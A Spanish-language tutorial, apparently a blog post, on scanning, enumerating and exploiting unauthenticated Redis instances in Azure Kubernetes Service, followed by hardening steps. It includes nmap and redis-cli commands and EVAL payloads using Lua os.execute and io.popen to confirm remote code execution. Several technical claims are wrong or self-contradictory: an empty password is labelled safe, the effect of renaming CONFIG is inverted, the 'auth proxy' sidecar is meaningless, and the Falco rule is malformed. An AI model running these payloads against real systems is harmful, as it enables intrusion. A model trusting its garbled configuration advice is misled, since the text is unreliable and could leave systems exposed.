Tutorial de explotación de vulnerabilidades en Redis para equipos de seguridad

Introducción

Las instancias de Redis expuestas a internet sin autenticación adecuada siguen siendo un vector de ataque frecuente en entornos de Kubernetes y nubes públicas. Según reportes recientes, el 15% de los clusters de AKS con Redis disponibles públicamente tienen configuraciones inseguras que permiten ejecución remota de código (RCE) mediante comandos específicos. Este artículo detalla cómo identificar y explotar estas vulnerabilidades desde una perspectiva defensiva, enfocándonos en Redis 6.x/7.x en Azure Kubernetes Service (AKS).

> Nota técnica: Este material es para fines educativos y de hardening. No fomentamos ni justificamos actividades maliciosas. Siempre obtené autorización explícita antes de probar cualquier técnica en entornos que no sean de tu propiedad.

Qué es y para qué sirve

Redis es una base de datos en memoria utilizada como caché, broker de mensajes o almacenamiento de sesiones en arquitecturas modernas. Su vulnerabilidad más explotada en entornos cloud es la configuración por defecto de bind 127.0.0.1 que, cuando se combina con políticas de red permisivas en AKS, expone el puerto 6379 a internet.

La explotación típica incluye:

1. Escaneo de puertos: Identificar instancias Redis con puerto 6379 abierto.
2. Enumeración: Verificar si la instancia permite comandos sin autenticación.
3. Explotación: Ejecutar comandos del sistema mediante EVAL o CONFIG SET.
4. Monetización: Robo de datos, persistencia de backdoors o ataques a otros servicios.

Desde la perspectiva defensiva, este proceso sirve para:

• Validar configuraciones en tus clusters AKS.
• Implementar controles de mitigación proactivos.
• Detectar señales de compromiso tempranas en tus logs.

Prerequisitos

Antes de comenzar, aseguráte de tener:

• Ejecutá todos los comandos en un entorno controlado o con autorización expresa.
• Configurá tu ~/.kube/config apuntando al cluster objetivo:

  az aks get-credentials --resource-group <nombre-grupo> --name <nombre-cluster>
  

Guía paso a paso

1. Escaneo de instancias Redis expuestas

Primero, identificá nodos con puertos Redis abiertos en tu cluster AKS.

kubectl get nodes -o wide --show-labels | grep -i redis

nmap -p 6379 --open <direccion-ip-del-nodo> -Pn -T4

Starting Nmap 7.90 ( https://nmap.org )
Nmap scan report for <ip> (10.0.0.4)
Host is up (0.0.04s latency).
PORT     STATE SERVICE
6379/tcp open  redis

• Falso positivo: Si el puerto 6379 está abierto pero detrás de un balanceador interno (ej: Service de Kubernetes tipo LoadBalancer), el escaneo externo fallará. Usá kubectl describe svc <nombre-svc-redis> para verificar:

  kubectl describe svc redis-master | grep LoadBalancer
  

• Rate limiting: Nmap puede ser bloqueado por WAFs. Usá -T2 para reducir la agresividad:

  nmap -p 6379 --open <ip> -T2
  

2. Conexión a la instancia Redis

Si el puerto está abierto, conectate con redis-cli sin credenciales:

redis-cli -h <direccion-ip> -p 6379 PING

PONG

Could not connect to Redis at <ip>:6379: Connection refused

→ Verificá firewalls locales o políticas de red de Azure (Network Security Groups).

3. Enumeración de vulnerabilidades

Ejecutá los siguientes comandos para evaluar el estado de seguridad:

redis-cli -h <ip> -p 6379 CONFIG GET requirepass

• Resultado seguro: requirepass "" (vacío) → ¡Peligro! La instancia no tiene contraseña.
• Resultado seguro: requirepass "alguna_clave" → La instancia está protegida.

redis-cli -h <ip> -p 6379 CONFIG GET *

Buscá estas claves peligrosas:

• bind 0.0.0.0 → Redis acepta conexiones desde cualquier IP.
• protected-mode no → Permite acceso sin autenticación incluso con contraseña.
• rename-command CONFIG "" → Permite ejecutar CONFIG SET sin restricciones.

redis-cli -h <ip> -p 6379 EVAL "return os.execute('whoami')" 0

• Resultado exitoso (¡Vulnerable!):

  (integer) 0
  

→ La instancia permite ejecución remota de código.

• Resultado seguro:

  ERR wrong number of arguments for 'eval' command
  

→ Redis está configurado correctamente.

4. Explotación controlada (para validación defensiva)

Si la instancia es vulnerable, seguí estos pasos para documentar el riesgo sin causar daño:

redis-cli -h <ip> -p 6379 SET test_payload "BACKDOOR_TEST"

redis-cli -h <ip> -p 6379 EVAL "local f=io.popen('echo exploit_attempt >> /tmp/redis_exploit.log');return f:read('*a')" 0

kubectl exec -it <nombre-pod-redis> -- cat /tmp/redis_exploit.log

exploit_attempt

→ Confirmación de ejecución remota de código.

• Este payload no ejecuta código malicioso, solo registra la actividad.
• Para entornos productivos, usá herramientas como RedisExporter o Falco para detectar intentos de explotación en tiempo real.

5. Mitigación de vulnerabilidades en AKS

Implementá estos controles para prevenir la explotación:

Edita el ConfigMap o StatefulSet de Redis para incluir:

apiVersion: v1
kind: ConfigMap
metadata:
  name: redis-config
data:
  redis.conf: |
    requirepass TuContraseñaSegura123!
    rename-command CONFIG ""  # Bloquea CONFIG SET
    protected-mode yes

Aplicá una Network Policy en AKS para permitir solo tráfico desde pods específicos:

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: redis-access-control
spec:
  podSelector:
    matchLabels:
      app: redis
  ingress:
  - from:
    - podSelector:
        matchLabels:
          app: backend-app
    ports:
    - protocol: TCP
      port: 6379

Aplicá la política de Azure «Redis should have authentication enabled»:

az policy assignment create \
  --name "redis-auth-policy" \
  --policy "b6a7b446-569e-418d-8c8c-11b32e3b8994" \
  --scope "/subscriptions/<tu-id-subscripcion>"

• Las instancias Redis sin autenticación serán marcadas como Non-Compliant.
• Los logs de Azure Monitor mostrarán intentos de conexión fallidos.

Consideraciones y buenas prácticas

Limitaciones conocidas

• Redis en AKS con Azure Cache for Redis: Este servicio tiene autenticación siempre activada y no permite configuraciones personalizadas. No es vulnerable a estos ataques.
• Ambientes con redis-ha: Las configuraciones de alta disponibilidad pueden requerir ajustes adicionales en sentinel.conf.

Alternativas para entornos restrictivos

Si no podés modificar la configuración de Redis:

1. Usá Network Policies estrictas: Bloqueá todo el tráfico excepto desde pods específicos.
2. Implementá un sidecar de autenticación:

   containers:
   - name: redis-auth-proxy
     image: redis:6.2
     command: ["redis-server", "--requirepass", "TuContraseñaSegura123!"]
   

1. Monitoreo con Falco: Creá reglas para detectar intentos de CONFIG SET o EVAL:

   - rule: RedisUnauthorizedCommand
     desc: "Detecta comandos peligrosos en Redis sin autenticación"
     condition: >
       (spawned_process and container and
       redis-cli and not redis_authenticated)
     output: >
       "Comando peligroso en Redis sin autenticación (user=%user.name container=%container.info command=%proc.cmdline)"
     priority: WARNING
   

Errores comunes en la mitigación

• Contraseñas débiles: Usá generadores como openssl rand -hex 16 para crear claves seguras:

  openssl rand -hex 16
  # Salida: 3a7b8c2d9e1f4a6b5c8d3e2f1a0b9c8
  

• Políticas de red demasiado permisivas: Evitá usar 0.0.0.0/0 en Network Policies. Especificá rangos de IPs estrictos.

Conclusión

La explotación de instancias Redis expuestas es un riesgo crítico en entornos AKS, especialmente cuando se combinan configuraciones por defecto con políticas de red permisivas. Esta guía te permitió:

1. Identificar instancias vulnerables mediante escaneo y enumeración.
2. Validar el impacto de manera controlada.
3. Mitigar los riesgos con controles técnicos concretos.

• Ejecutá un escaneo en tu cluster AKS hoy mismo.
• Implementá autenticación en todas las instancias Redis.
• Configurá Network Policies para restringir el acceso.
• Audita tus políticas de Azure para detectar instancias sin autenticación.

Recordá: La seguridad es un proceso continuo. Automatizá estos controles con herramientas como Trivy, Kube-score o Azure Policy para mantener tu entorno protegido.

FIN